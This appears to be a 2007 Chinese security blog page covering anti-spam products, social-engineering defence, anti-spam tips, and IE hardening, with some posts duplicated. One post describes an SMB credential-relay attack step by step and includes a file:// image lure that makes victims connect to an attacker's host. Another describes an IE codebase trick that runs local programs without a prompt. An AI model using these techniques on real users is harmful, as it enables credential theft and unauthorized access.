全面了解各種反垃圾郵件的解決方案
[ 2007-03-25 02:55:41 | 作者: sun ]
自2000年后,互聯網技術飛速發展,郵件技術已經逐步成為了現代社會最重要的溝通工具之一。然而,予生俱來的是垃圾郵件對郵件用戶的侵擾;到2006年末,這種侵擾已經成為公認的最大的互聯網應用威脅之一。有許多數字讓人觸目驚心:每天全球產生的垃圾郵件達1000封;用戶收到的郵件之中,有94%是垃圾郵件;美國、中國是全世界最大的兩個垃圾郵件生產國家和消費國;中國網民每周收到的垃圾郵件數平均達到了19.4封。這些垃圾郵件充斥著各種非請求的商業廣告、色情與反動內容、政治敏感話題傳播、甚至計算機病毒與惡意代碼,給我們正常的郵件收發增加困難,使企業的網絡與郵件資源被惡意浪費,甚至有可能對組織與個人的硬件資產遭受入侵、破壞等損失。垃圾郵件最新的形式是釣魚郵件,Spammer通過傳播類似銀行及會員機構郵件的方式,來騙去用戶的用戶名和密碼,直接獲取非法利益;而有些則通過惡意代碼控制計算機,使網絡用戶的計算機變成Zombie PC,利用這些PC來發送大量廣告等垃圾郵件以獲取商業價值。可以說,反垃圾郵件的斗爭以及到了白熱化的程度。
中國的反垃圾郵件技術研究幾乎和國外同步,但產品化進程比較慢,基本上到2003年后才有初步能夠應用的專業級產品與系統方案。在國際上,有兩大開源社區比較權威,目前世界上大部分垃圾郵件的核心技術都來源這兩個社區,一個是著名的SpamAssassin,一個是,Razor。而中國目前還沒有形成比較成規模的反垃圾郵件技術開源社區。在技術上,特別是產品結構上都借鑒這些著名的先行者。
說到反垃圾郵件的技術方案,一般有三種類型的解決方案。
第一種是初級的用戶級客戶端方案。
大部分人都認為客戶端方案效果不好,這里面其實有個誤區,很多說法是包含了商業利益在里面的,所以就不能夠客觀的評價。客戶端方案,有些人就認為是Foxmail、Outlook之類的郵件客戶端自帶的簡單的黑白名單判別垃圾郵件功能,其實這是有誤的。真正的客戶端方案,不僅包含這些黑白名單功能,也包括其他類型方案一樣的一些手段,象實時RBL、指紋檢查、信任網絡、甚至包含內容過濾等技術,由于它服務的對象是“客戶端個人用戶”,沒有關注郵件服務器而已,然后它仍然是專業級別的反垃圾郵件防方案。關鍵是,需要找到專業的產品,而且這種方案在50人以下應用環境時具有很好的經濟價值,在超過50人的應用環境下,這種方案就沒有其他的方案更具競爭力。代表產品是全球知名的反垃圾郵件技術公司Cloudmark公司的個人版反垃圾郵件產品。
第二類技術方案是反垃圾郵件網關方案。
這種方案是目前應用最廣泛,也是應用最簡便的企業級反垃圾郵件方案。這種方案是各種反垃圾郵件技術綜合到一臺設備或者軟件系統當中去,放在郵件服務器的前端,對進出郵件系統的所有郵件進行過濾、審查,對違反規則或者具有明顯垃圾郵件特征的郵件予以處置。 網關型的反垃圾郵件方案,其形態可以是專用硬件產品,也可能是軟件形式。需要特別強調的是,傳統上認為硬件產品比軟件產品好,這種認識也是有很大偏差的,需要差別的看:如果反垃圾郵件網關軟件能夠與郵件系統實現真正意義上的無縫結合的化,是能夠大大提升系統的整體性能的,而不是象部分商業公司宣稱的那樣,硬件產品一定是最好的;原因很簡單: 這中間節省了兩個計算環節(反垃圾郵件系統在將郵件系統解包檢后,可以不用打包就可以直接轉給郵件系統接受;而郵件系統不需要先對郵件進行解包,就可以直接接受--減少動作,就意味著性能的提高)。
網關方案做為最主要的企業級反垃圾郵件方案,因各商業和研究機構的技術路線不同,主要有3種:
(1)基于經驗規則和內容檢查技術的技術路線。這類反垃圾郵件網關,以內容檢查為主,主要的檢查手段包括關鍵字過濾、貝葉斯過濾、基于規則的評分系統、郵件指紋檢查、黑白名單技術、速率控制等等。需要的是提取樣本、提取內容特征等信息,來檢查與過濾垃圾郵件。代表的產品是梭子魚反垃圾郵件系統。 需要注意的是,這類產品大多數需要進行大量的內容檢查計算,對產品的系統結構和硬件平臺的系統資源要求比較,性能峰值不是很高,特別是部分產品是用pear編寫的,程序的限制,使得性能成為其最主要的瓶頸。 這點用戶在選擇時是需要關注的,選型時盡量采用高一點的型號,以應對突然的郵件高峰。
(2)智能行為識別技術路線。由于認識到基于規則與內容技術路線在性能上的局限性,有部分技術人士擯棄了內容檢查,而是將產品方案的主要檢查手段放在了郵件的協議分析。 這類技術通過總結和分析垃圾郵件發送者的各種共性行為,比如用客戶端群發軟件發送、高頻率發送、Dns偽裝、IP欺騙等等方法,解析出這些“垃圾行為”的特征并形成規則,用這寫規則來判別一封郵件是否合法。這類技術,同時包括了眾多的郵件合規性認證機制;同時也包含了部分殺病毒等內容層技術。 同樣需要大家注意的是,這類技術針對的是大規模的、以群發為特征的垃圾郵件,而針對單個、無規律的、甚至是合法來源發送非法內容的郵件,沒有很好的解決方案。因為它不強調內容檢查,而對對垃圾郵件判定最重要的標準是“內容”非法! 但,這種技術已經能夠拒絕大部分垃圾郵件了,因為絕大部分垃圾郵件確實是通過群發的方式產生的。 這類產品的代表廠商是敏訊科技,以及來自臺灣的碩奇公司反垃圾郵件產品(該公司更宣稱完全運用行為識別技術來反垃圾郵件)。
(3)混合模式路線。這種技術路線強調過程化處理技術,利用過程化處理技術整合各種反垃圾郵件技術,既包括基于協議分析的智能行為識別,也包括基于規則與內容檢查的模式對比路線。反垃圾郵件網關在智能過程化處理平臺的控制下,有次序的讓郵件接受各個層次的合規性檢查與內容檢查。綜合應用行為識別技術,在協議層對TCP/IP進行分析規范發件連接行為、在SMTP層對郵件從Hello、Auth、From、To、Data等各個層次進行合規性檢查,對違發正常規則的郵件進行重點分析,對明顯的群發行為予以處置。而內容檢查階段,也是嚴格按照“過程”來進行的,病毒查殺、用戶級黑白名單、關鍵字、貝葉斯過濾、指紋檢查、以及其他的基于內容檢查的技術。 這類網關的設計架構比較好,“過程化”的處理辦法,讓大量的垃圾郵件在“前端”就被過濾掉,而在內容階段系統的工作量非常的少,能夠大幅度的提升系統的整體工作性能和垃圾處理能力。 這類產品的代表是Commontouch反垃圾引擎,以及智海華程CyanFilter反垃圾郵件引擎。 他們共同的特點是過程化處置,都擁有自己核心的反垃圾郵件引擎。Coummontouch的反垃圾引擎采用實時檢查技術,輪回檢查信任網絡;而CyanFilter反垃圾郵件引擎則包含了中文分詞、特征進化引擎技術等等,使得青蓮Cyanlotus反垃圾網關更具有強大的中文垃圾能力。 另外,Cloudmark公司的電信級反垃圾郵件網關也同樣擁有這中能力,其基因算法與全球最大“可信任用戶網絡”更是無與倫比。
第三類是ASP反垃圾郵件服務方案
這種方案主要針對用戶數量少于500人的中小企業環境。反垃圾郵件服務提供商首先建立一個反垃圾郵件服務中心,這個中心的系統擁有同時向多域、多服務器提供反垃圾服務的能力。用戶在購買了反垃圾郵件服務后,將自己郵件地址的MX記錄指向該服務中心,該服務中心同時添加該用戶域名,這樣用戶的郵件在到達用戶的郵件系統(不管是購買的空間的方式,還是有獨立服務器)前,首先達到ASP反垃圾郵件服務中心進行過濾檢查,達到凈化垃圾的目的。這種方案比較經濟、不受地域和部署方式的限制。 但,目前為止,國內還沒有實際投入運營的反垃圾郵件ASP出現。
用戶,不管是個人用戶還是企業級用戶,在選擇反垃圾郵件方案時,都需要認真考慮一下幾個因素:
(1)經濟性。個人用戶和數量比較少的企業,可以選擇采用專業客戶端或者ASP反垃圾郵件服務的解決方案,既節省投資也具有同樣的反垃圾效果,而且免去了后期維護之類。
(2)反垃圾系統的反垃圾效果。對反垃圾系統效果的評價一般包括垃圾郵件識別率、漏報率,同時更需要關注垃圾郵件誤報率,特別是將正常郵件判別為垃圾郵件的“假陽性”誤報問題,這是反垃圾郵件系統的最關鍵的參考因素。我們可以容忍一天收到若干垃圾郵件(當然是數量不多的情況下),但所有人都不能忍受有正常的郵件被錯誤的判定為“垃圾”而遭受“丟棄”!而評價反垃圾郵件系統反垃圾效果的方法,就是實際試用! 因為每個用戶受的垃圾郵件類別是不一樣的,有的用戶垃圾郵件主要是英文垃圾、有的是中文垃圾、有的是圖片的、有的則是廣告文字的、還有的是釣魚類的、而有的則是以病毒垃圾為住。不同的垃圾郵件特征,需要采用不同的反垃圾郵件產品方案:如英文垃圾多,則我們可以首選國外專業產品;如果中文垃圾多,則首先要考慮國內的,特別是有中文分詞技術(由于中、日、韓三國語言的雙字節及不分詞的特殊性,一般反垃圾產品能難有效應對);而對病毒垃圾多的,則可以考慮主要由殺病毒公司提供的反垃圾郵件產品。
(3)注重系統的整體性能。反垃圾郵件產品,如果性能不過關,隨著業務的增長和垃圾郵件泛濫問題的日益嚴重,可能會有很大問題,另外性能問題有可能會影響我們正常的郵件收發效率;由于產品在設計和硬件配置上的缺陷(特別是產品結構與設計語言的缺陷),導致郵件堵塞、溢出、正常郵件丟失、系統癱瘓等等,將會使我們損失慘重!
(4)管理簡便與靈活性。一般來講,靈活性與簡便的要求是矛盾。我們的原則是,逐步減少網管人員和用戶的工作量,同時又給予網管和用戶最大限度的個性化需求。如每個用戶都應該擁有自己的個性化黑白名單、自己個性化的關鍵字過濾策略等等,以使得我們反垃圾郵件系統更具有針對性和效率。選擇產品時,一般要考慮web管理、參數設置簡單、管理維護工作量少、擁有智能(特別是有自學習能力)的產品。同時,產品的升級要及時,特別是病毒庫的升級。
綜合以上的一些所述,用戶在進行反垃圾郵件工作時,要全面了解各種反垃圾郵件方案與自己的實際需要想對應的程度,我們不能一味的聽**廠家或者組織宣稱自己是最好的和唯一好的解決方案,最好與最合適只有我們自己說了算。 品牌和市場保有量在中國沒有參考意義(大部分品牌都是通過大量的宣傳得來的,而中國用戶是出名的“隨大眾,愛面子”),建議的做法是“試用”用實際效果說話!特殊的,在中國反垃圾,首先要把重點放在“中文”垃圾上、圖片垃圾、釣魚垃圾上! 同時,還要看該反垃圾方案是否具有完備的“挽回”機制,有全面的日志包括垃圾郵件日志、阻斷郵件日志(大部分產品沒有此功能)、病毒郵件日志以及收發的正常郵件日志。
反垃圾郵件是一件任重道遠的事業,需要我們大家的共同努力。
防止雇員遭受社會工程學攻擊
[ 2007-03-25 02:55:29 | 作者: sun ]
雖然我們確實在繼續受到病毒、蠕蟲、間諜軟件和其它各種形式的惡意軟件的威脅,但是,整個安全的狀況在改善。防火墻已經取得了進步,更多的企業采取了更好的補丁管理措施,而且入侵防御和入侵檢測等技術正在更廣泛的應用。隨著安全的這種增長,黑客在做什么呢?
黑客被迫在做攻擊者過去做過的事情:把目標對準薄弱的環節。這個薄弱環節就是社會工程學的所在。社會工程學是一種危險的攻擊機制,因為它不直接對目標實施攻擊。社會工程學在IT領域被定義為一種說服人的技巧。據市場研究公司Gartner的一篇研究報告稱,70%的以上的非授權訪問信息系統是內部雇員所為,95%的以上的這種入侵導致了嚴重的金融損失。
你也許會想,這些數字表明許多遭受這種損失的公司都有壞雇員。但是,實際情況并非如此。許多雇員都是社會工程學攻擊的受害者。一個社會工程學攻擊者能夠以多種方式向雇員展開攻擊。Robert Cialdini撰寫的“勸說的科學與實踐”一書介紹了這些方法。這本書列出了社會工程學使用的六種主要方法。這些方法包括:
·經驗不足:通過建立緊迫感操縱雇員。
·權威:根據權威的承諾欺騙雇員。例如,“你好,是服務臺嗎?我是為高級副總裁工作的,他需要立即重新設置他的口令。”
·一致性:人們喜歡平衡和秩序。例如,當人們問我們過的如何時,我們一般都回答說“很好!”。
·社會確認:根據這種想法,一個人可以做這個事情,其他人也可以做。例如,你曾看到酒吧服務員的裝滿了錢的罐子嗎?這也許會讓你想到如果每一個人都在往里放錢,你也應該那樣做!
·回報:如果有人給你一個紀念品或者一個小禮物,你就要考慮回贈一些東西。
采取什么措施才能防止你的雇員被利用呢?第一,制定政策和程序。政策應該解決設置賬戶的規則、如何批準訪問和改變口令的批準程序等問題。政策還應該解決人們擔心的一些物理方面的問題,如碎紙片、鎖、訪問控制和如何陪同和監視訪問者等。
第二,進行教育和培訓。如果雇員不了解政策規定或者沒有對這些政策規定的應用進行過培訓,政策就毫無用處。如果雇員理解安全政策的目的以及忽略這些安全政策可能給公司帶來的負面影響,雇員就會更好地遵守公司的這些政策。必須要對雇員進行培訓,讓他們知道如何報告安全突破事件。
最后,檢驗和監督遵守政策的情況。審計和定期檢驗有助于使政策結構更有效率。經常巡查各個部門并且尋找暴露的口令或者敏感的信息。檢驗也許還可以包括給雇員或者服務臺打電話,看看是否能夠強迫他們向你提供口令。當雇員遵守政策的時候,應該對于他們良好的安全行為給予獎勵。通過遵守上述三個簡單的步驟,你將極大的提高粉碎社會工程學攻擊的能力。
黑客被迫在做攻擊者過去做過的事情:把目標對準薄弱的環節。這個薄弱環節就是社會工程學的所在。社會工程學是一種危險的攻擊機制,因為它不直接對目標實施攻擊。社會工程學在IT領域被定義為一種說服人的技巧。據市場研究公司Gartner的一篇研究報告稱,70%的以上的非授權訪問信息系統是內部雇員所為,95%的以上的這種入侵導致了嚴重的金融損失。
你也許會想,這些數字表明許多遭受這種損失的公司都有壞雇員。但是,實際情況并非如此。許多雇員都是社會工程學攻擊的受害者。一個社會工程學攻擊者能夠以多種方式向雇員展開攻擊。Robert Cialdini撰寫的“勸說的科學與實踐”一書介紹了這些方法。這本書列出了社會工程學使用的六種主要方法。這些方法包括:
·經驗不足:通過建立緊迫感操縱雇員。
·權威:根據權威的承諾欺騙雇員。例如,“你好,是服務臺嗎?我是為高級副總裁工作的,他需要立即重新設置他的口令。”
·一致性:人們喜歡平衡和秩序。例如,當人們問我們過的如何時,我們一般都回答說“很好!”。
·社會確認:根據這種想法,一個人可以做這個事情,其他人也可以做。例如,你曾看到酒吧服務員的裝滿了錢的罐子嗎?這也許會讓你想到如果每一個人都在往里放錢,你也應該那樣做!
·回報:如果有人給你一個紀念品或者一個小禮物,你就要考慮回贈一些東西。
采取什么措施才能防止你的雇員被利用呢?第一,制定政策和程序。政策應該解決設置賬戶的規則、如何批準訪問和改變口令的批準程序等問題。政策還應該解決人們擔心的一些物理方面的問題,如碎紙片、鎖、訪問控制和如何陪同和監視訪問者等。
第二,進行教育和培訓。如果雇員不了解政策規定或者沒有對這些政策規定的應用進行過培訓,政策就毫無用處。如果雇員理解安全政策的目的以及忽略這些安全政策可能給公司帶來的負面影響,雇員就會更好地遵守公司的這些政策。必須要對雇員進行培訓,讓他們知道如何報告安全突破事件。
最后,檢驗和監督遵守政策的情況。審計和定期檢驗有助于使政策結構更有效率。經常巡查各個部門并且尋找暴露的口令或者敏感的信息。檢驗也許還可以包括給雇員或者服務臺打電話,看看是否能夠強迫他們向你提供口令。當雇員遵守政策的時候,應該對于他們良好的安全行為給予獎勵。通過遵守上述三個簡單的步驟,你將極大的提高粉碎社會工程學攻擊的能力。
教你十種方法 輕輕松松遠離垃圾郵件
[ 2007-03-25 02:55:16 | 作者: sun ]
去年的最后一個月,美國調查表明垃圾郵件數量破了歷史紀錄,占所有郵件的94%。垃圾郵件已經成了除病毒木馬之外,網絡的另一大“公害”。ITsecurity整理了十種對付垃圾郵件的方法,讓我們來看一下,因為是國外網站,是否符合我國情況還需斟酌。
1.使用郵件過濾系統
這應該是很多人常用的方法,大型郵件服務商也會提供此類服務,但是仍不夠精確。
2.使用病毒過濾系統
很多垃圾郵件利用了木馬病毒,你把病毒拒之門外,相關的垃圾郵件也就無機可乘了。
3.保護自己的郵件地址
最好把不同用途的郵箱分開,注冊那些不重要的網站論壇之類的,可以專門申請一個“雜物箱”,你不隨處暴露自己的郵箱地址,垃圾郵件通過猜測找到你的機會還是不大的。
4.測試誰在“扔垃圾”給你
如果懷疑某些站點在給你發送垃圾郵件,你可以用不同的郵箱注冊試驗一下,找出源頭之后屏蔽之
5.收到垃圾郵件之后應該怎么做
首先不要打開它,因為很可能含病毒,然后退信,這樣可能會讓有些垃圾郵件服務器端認為你的信箱已經不可用。
6.退訂(Opt-out)信件
美國的一項法案是:用戶對于任何商業郵件可采用opt-out的方式退出,而發送商業郵件的公司必須按規定明確提示該郵件屬于商業或廣告性質,并提供可讓收件人選擇退出的方式,包括可回復的地址或可進入的網站。郵件發送者一旦收到用戶的opt-out要求,必須在10天內響應,停止向該用戶繼續發送郵件。在國內可能不管用……
7.注意郵件的注冊名
一個遠離垃圾郵件的方法是選擇合適的用戶名。很多人喜歡用自己的名字或者aaa123之類的地址,這樣很容易被字典破解出來。
8.遠離危險區域
據統計,郵件病毒最多的三類站點分別是賭博、游戲和成人站,對于這些網站,要特別注意。
9.舉報
將你發現的垃圾郵件發送者舉報給相關機構,國內這一區域似乎空白,但是也可以向國外機構反映試試。
10.報復?
俗話說,君子報仇十年不晚,可以考慮用一些手段向垃圾郵件發送者發送垃圾郵件:P,當然你得小心,這種行為也可能會使你遭到法律的制裁。
1.使用郵件過濾系統
這應該是很多人常用的方法,大型郵件服務商也會提供此類服務,但是仍不夠精確。
2.使用病毒過濾系統
很多垃圾郵件利用了木馬病毒,你把病毒拒之門外,相關的垃圾郵件也就無機可乘了。
3.保護自己的郵件地址
最好把不同用途的郵箱分開,注冊那些不重要的網站論壇之類的,可以專門申請一個“雜物箱”,你不隨處暴露自己的郵箱地址,垃圾郵件通過猜測找到你的機會還是不大的。
4.測試誰在“扔垃圾”給你
如果懷疑某些站點在給你發送垃圾郵件,你可以用不同的郵箱注冊試驗一下,找出源頭之后屏蔽之
5.收到垃圾郵件之后應該怎么做
首先不要打開它,因為很可能含病毒,然后退信,這樣可能會讓有些垃圾郵件服務器端認為你的信箱已經不可用。
6.退訂(Opt-out)信件
美國的一項法案是:用戶對于任何商業郵件可采用opt-out的方式退出,而發送商業郵件的公司必須按規定明確提示該郵件屬于商業或廣告性質,并提供可讓收件人選擇退出的方式,包括可回復的地址或可進入的網站。郵件發送者一旦收到用戶的opt-out要求,必須在10天內響應,停止向該用戶繼續發送郵件。在國內可能不管用……
7.注意郵件的注冊名
一個遠離垃圾郵件的方法是選擇合適的用戶名。很多人喜歡用自己的名字或者aaa123之類的地址,這樣很容易被字典破解出來。
8.遠離危險區域
據統計,郵件病毒最多的三類站點分別是賭博、游戲和成人站,對于這些網站,要特別注意。
9.舉報
將你發現的垃圾郵件發送者舉報給相關機構,國內這一區域似乎空白,但是也可以向國外機構反映試試。
10.報復?
俗話說,君子報仇十年不晚,可以考慮用一些手段向垃圾郵件發送者發送垃圾郵件:P,當然你得小心,這種行為也可能會使你遭到法律的制裁。
系統泄露密碼入侵攻擊分析
[ 2007-03-25 02:55:05 | 作者: sun ]
WINDOWS訪問139端口時自動用當前用戶、密碼連接,造成泄露用戶密碼,雖然其密碼是加密的,但一樣可以用來攻擊。
下面是SMB的密碼認證方式。
WINDOWS的139口的訪問過程,箭頭表示數據方向:
1.客戶端<--------------------建立TCP連接----------------->服務端
2.客戶端-------客戶端類型、支持的服務方式列表等---------->服務端
3.客戶端<---------服務器認證方式、加密用的key等-----------服務端
認證方式就是用戶級認證還是共享級認證和密碼加密不,key是服務器隨機生成的8個字節,WIN2000已經支持16個字節的 key。
4.客戶端--------------用戶名、加密后密碼----------------->服務端
WIN9X、WINNT、WIN2000這有個漏洞,不經過提示等就把當前用戶名,密碼加密后發過去了,導致密碼泄漏。這兒加密是DES的變形,lockedpass=chgdes(key,pass)。這兒的pass是作為DES變形的KEY,key是作為DES變形的待加密數據。
5.客戶端<---------------認證成功否-----------------------服務端
WINDOWS客戶端第4步有漏洞,顯然服務端可以得到username和lockedpass=chgdes(key,pass), 其中key可以自由指定,因為這是服務方提供的,usname、pass是客戶端當前訪問者用戶名和密碼。這兒的加密變換不可逆,但已經可以用暴力法破解了,也已經有了這樣的程序。其實我們有時并不一定要得到密碼明文的,只要能提供連接需要的就可以了。我們來看得到lockedpass有什么用,我們反過去訪問看看,telnet、ftp等連接要密碼明文我們得到的lockedpass不能提供,那么我們考慮用同樣加密算法傳密碼密文的服務呢?比如就是NETBIOS共享服務。前面是服務端得到東西,那現在就是站在客戶端了,再看前面那過程,顯然其實我們并不需要提供pass,是不是只需要提供username和lockedpass2=chgdes(key2,pass)就可以了?其中key2是現在的服務端提供的。看看我們有 usname和lockedpass=chgdes(key,pass)其中key我們可以自己指定,大家一看顯然只要key=key2那么就需要的我們都有了是不是?所以我們要使得key=key2.
好我們再仔細看看連接過程,別人連接兩步1、2:
1.客戶端<--------------------建立TCP連接----------------->服務端
2.客戶端-------客戶端類型、支持的服務方式列表等---------->服務端
下面就該
3.客戶端<---------服務器認證方式、加密用的key等-----------服務端
這我們需要提供key,這兒我們不能隨便提供key,需要提供key2,那么我們就要得到key2,顯然需要連接NETBIOS服務回去。顯然這而需要連接回去的11,22,33共3步(為了區分連接回去的步子用重號表示)才能得到key2,顯然這2步和3步不需要有先后順序。所以我們可以得到連接指定IP的NETBIOS服務然后等這用戶來訪問,這可能有時間超時等處理,或者等到任意IP連接NETBIOS服務后馬上連回去,反正怎么處理方便、滿足需要就怎么處理。
下面顯然就是設置 key=key2返回3,那就等4得到lockedpass了,第5步嘛就你自由處理了,要不返回密碼錯誤,后面就是44、55……
總的來就是1,2,11,22,33,3,4,5,44,55……顯然你就是以那機器訪問你的用戶的身份去訪問他的NETBIOS服務了,能干什么那就看那用戶的權限了。
注意有興趣的可以把SAMB包的客戶端程序修改加上一點服務的前幾步就可以了。顯然這主要利用的還是WINDOWS泄露當前用戶名、加密密碼漏洞。還有這需要別人來訪問你的機器,這好辦,郵件或者主頁等里面來個
IMGsrc”="file://ip/filename" ...
就可以了。我實驗了去掉機器139口服務(要不有139口要影響后面端口重定向),用端口重定向程序把來向139口定向回去,找另一個WINNT機器用\\ip訪問那重定向139口的機器,結果是沒有密碼提示就看到WINNT機器本身了。其實這時重定向端口程序那臺機器已經用WINNT機器的當前用戶訪問WINNT了,只是由于沒有客戶端的處理界面不能操作。(T002)
網絡安全之IE瀏覽器防黑秘技大曝光
[ 2007-03-25 02:54:52 | 作者: sun ]
針對IE的惡意修改、攻擊方法非常多,本文中介紹的十種反黑技巧,一定會對你有所幫助。
1.管理好Cookie
在IE6.0中,打開“工具”→“Internet選項”→“隱私”對話框,這里設定了“阻止所有Cookie”、“高”、“中高”、“中”、“低”、“接受所有Cookie”六個級別(默認為“中”),你只要拖動滑塊就可以方便地進行設定,而點擊下方的“編輯”按鈕,在“網站地址”中輸入特定的網址,就可以將其設定為允許或拒絕它們使用Cookie。
2.禁用或限制使用Java程序及ActiveX控件
在網頁中經常使用Java、Java Applet、ActiveX編寫的腳本,它們可能會獲取你的用戶標識、IP地址,乃至口令,甚至會在你的機器上安裝某些程序或進行其他操作,因此應對Java、Java小程序腳本、ActiveX控件和插件的使用進行限制。打開“Internet選項”→“安全”→“自定義級別”,就可以設置“ActiveX控件和插件”、“Java”、“腳本”、“下載”、“用戶驗證”以及其它安全選項。對于一些不太安全的控件或插件以及下載操作,應該予以禁止、限制,至少要進行提示。
3.防止泄露自己的信息
缺省條件下,用戶在第一次使用Web地址、表單、表單的用戶名和密碼后,同意保存密碼,在下一次再進入同樣的Web頁及輸入密碼時,只需輸入開頭部分,后面的就會自動完成,給用戶帶來了方便,但同時也留下了安全隱患,不過我們可以通過調整“自動完成”功能的設置來解決。設置方法如下:依次點擊“Internet選項”→“內容”→“自動完成”,打開“自動完成設置”對話框,選中要使用的“自動完成”復選項。
提醒:為發安全起見,防止泄露自己的一些信息,應該定期清除歷史記錄,方法是在“自動完成設置”對話框中點擊“清除表單”和“清除密碼”按鈕。
4.清除已瀏覽過的網址
在“Internet選項”對話框中的“常規”標簽下單擊歷史記錄區域的“清除歷史記錄”按鈕即可。若只想清除部分記錄,單擊IE工具欄上的“歷史”按鈕,在左欄的地址歷史記錄中,找到希望清除的地址或其下網頁,單擊鼠標右鍵,從彈出的快捷菜單中選取“刪除”。
5.清除已訪問過的網頁
為了加快瀏覽速度,IE會自動把你瀏覽過的網頁保存在緩存文件夾“C:/Windows/Temporary Internet Files”下。當你確認不再需要瀏覽過的網頁時,在此選中所有網頁,刪除即可。或者在“Internet選項”的“常規”標簽下單擊“Internet臨時文件”項目中的“刪除文件”按鈕,在打開的“刪除文件”對話框中選中“刪除所有脫機內容”,單擊“確定”,這種方法會遺留少許Cookie在文件夾內,為此IE6.0在“刪除文件”按鈕旁邊增加了一個“刪除Cookie”的按鈕,通過它可以很方便地刪除遺留的。
6.永遠不怕IE主頁地址被修改
眾所周知,修改IE默認主頁地址是惡意網頁常用的一招。IE被修改后,會自動連接到惡意網頁的地址。大家常用的方法是修改注冊表,其實,只要簡單給IE加個參數,就再也不害翴E主頁地址被修改了。下面是具體的方法和步驟。
首先,打開“我的電腦”,找到IE的安裝目錄,這里假設你的IE安裝在C:/Program FilesInternet Explorer下。進入該文件夾,找到Iexplore.exe文件,對著它點擊鼠標右鍵,在彈出的快捷菜單中選擇“發送到→桌面快捷方式”,這樣就在桌面上建立了一個Iexplore.exe文件的快捷方式。如果你夠仔細的話,你會發現你建立的這個快捷方式名字為“Iexplore.exe”,而桌面上原來的IE快捷方式名字為“Internet Explorer”,兩者不僅名字不相同,而且“內涵”也不盡相同。
繼續我們的工作,用鼠標右鍵單擊該快捷方式,選擇“屬性”,會彈出“Iexplore.exe 屬性”對話框,選擇其中的“快捷方式”標簽,然后在“目標”框里填入:"C:/Program Files/Internet Explorer/IEXPLORE.EXE" -nohome,給Iexplore.exe加上參數“-nohome”,輸入時請大家注意在參數“-nohome”前面有一個空格,不要忘了,輸入完畢。點擊“確定”退出即可。
這樣即使主頁被修改也沒有關系,打開IE就是一片空白,就連about:blank也不顯示。而且這樣能夠加快啟動速度,一點IE窗口馬上就出蹦來了。
對于IE在安裝時自己建立的快捷方式,我們無法為它加上上述參數。如果不信可以試試,用鼠標右鍵點擊桌面上原來IE自建的快捷方式,選“屬性”,會發現“目標”欄、“起始位置”欄、“快捷鍵”欄和“運行方式”欄都是灰色不可選取狀態。這就是它們之間最大的不同!也是本文的關鍵所在。
7.挖出IE本地安全配置選項
在IE中可以通過點擊“工具→Internet選項→安全”來設定電腦安全等級,之后會出現。從圖中可以看出,在安全性設定中我們只能設定Internet、本地Intranet、受信任的站點、受限制的站點。不過,慣于隱藏其部分功能的微軟(真不知微軟是怎么想的,老和我們玩“捉迷藏”游戲),在這里又留了一手:其實這里還有一個隱藏的選項——就是“我的電腦”的安全性設定,如果你想看到它,可以通過修改注冊表的方法來達到目的。
下面是具體的方法:打開“開始”菜單中的“運行”,在彈出的“運行”對話框中輸入Regedit.exe,打開注冊表編輯器,點擊前面的“+”號順次展開到:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet SettingsZones,在右邊窗口中找到DWORD值“Flags”,默認鍵值為十六進制的21(十進制33),雙擊“Flags”,在彈出的對話框中將它的鍵值改為“1”即可,關閉注冊表編輯器。無需重新啟動電腦,重新打開IE,再次點擊“工具→Internet選項→安全”標簽,你就會看到多了一個“我的電腦”,在這里你可以對IE的本地安全進行配置。
這個小技巧有什么用呢?把下面的代碼保存為一個html文件,然后運行試試就知道了:
運行上面的html文件,會打開你的計算機中c:/winnt/system32文件夾下的calc.exe文件!而且IE沒有任何提示!即使在IE的安全設置中禁用ActiveX控件上述代碼也能工作!如果不是calc.exe文件而是其他惡意文件又會怎么樣?如果是在你瀏覽的網頁中含有類似上面的代碼又會怎么樣?真危險啊!
之所以會這樣是由于IE存在兩個可怕的漏洞:可本地執行任意命令,IE的ActiveX安全設置可被繞過。在上述代碼中我們給IE指定了一個系統中并不存在的控件號("clsid:88888888-8888-8888-8888-888888888888),IE會試圖從codebase指定的地址去下載并安裝改控件。根據codebase于是IE找到了c:/winnt/system32/calc.exe,接著IE開始“下載”并安裝該程序。由于calc.exe是EXE文件,這樣就等于是在運行該文件,所以calc.exe就被運行了!
那么為什么IE在“下載安裝控件”過程中不提示用戶,也不應用IE安全設置中的限定進行檢測呢?這就是IE的ActiveX安全設置可被繞過漏洞造成的!其主要原因是IE安全設置都是針對非本地的頁面或交互的,對于本地的安全設置IE是最大信任的。如果你注意看IE的安全設置,都是對Internet和Intranet上WEB服務器而言的,根本就沒有對本地文件的安全設置。概括說來就是IE對本地安全采用最大信任原則。
解決的辦法就是我們在開始說的那個技巧:挖出挖出IE本地安全配置選項,即修改IE安全設置中有關“我的電腦”的設置,選定后,禁用ActiveX下載就萬事大吉了。
8.在DOS下打開“Internet屬性”窗口
有時在瀏覽了某些惡意網頁后,會導致IE的“Internet屬性”對話框無法打開,這時我們可以在DOS窗口下輸入:RunDll32.exe shell32.dll,Control_RunDLL inetcpl.cpl命令,就可打開IE的“Internet屬性”對話框。要注意“Control_RunDLL”的大小寫以及它前面的逗號(,)不要忘記了。RunDll32.exe是Windows動態鏈接庫(DLL)管理工具,可以用來在命令行下執行動態鏈接庫中的某個函數(或者功能模塊)。
RunDll32的使用方法如下:RunDll32.EXE ,要注意以下幾點:
(1)Dllname(就是制定DLL動態鏈接庫所在位置和文件名)直接不能有空格;
(2)Dllname和entrypoint兩者之間只能以“,”(逗號)分隔,逗號之后不能有空格,如果這里出錯的話,你不會得到任何提示;
(3)optional arguments動態鏈接庫調用參數,這個參數對大小寫是很敏感的,注意不要寫錯。
9.解除IE的分級審查口令
有些時候,我們的IE會被人修改為設有分級審查口令,一旦被設置了分級審查口令,即使重新安裝IE也是沒有用的。怎么辦呢?難道要格式化硬盤?千萬不要!這里我有一個好辦法,幫您解決這個問題。
進入注冊表,找到HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersionpolicies\Ratings,這里有一個名為“key”的主鍵,這就是您設置的分級審查口令,直接將它刪除即可。重新啟動之后,點擊“工具”→“Internet選項”→“內容”→“分級審查”,您會發現分級審查口令已經被復位了。現在您只要輸入新的分級審查口令即可。
如果你用的是Windows 9x則更簡單了,到C:\Windows\system目錄里找到rating.pol文件,要注意這是一個隱藏文件,直接將它刪除就可以解決問題了。
10. 預防網頁惡意代碼
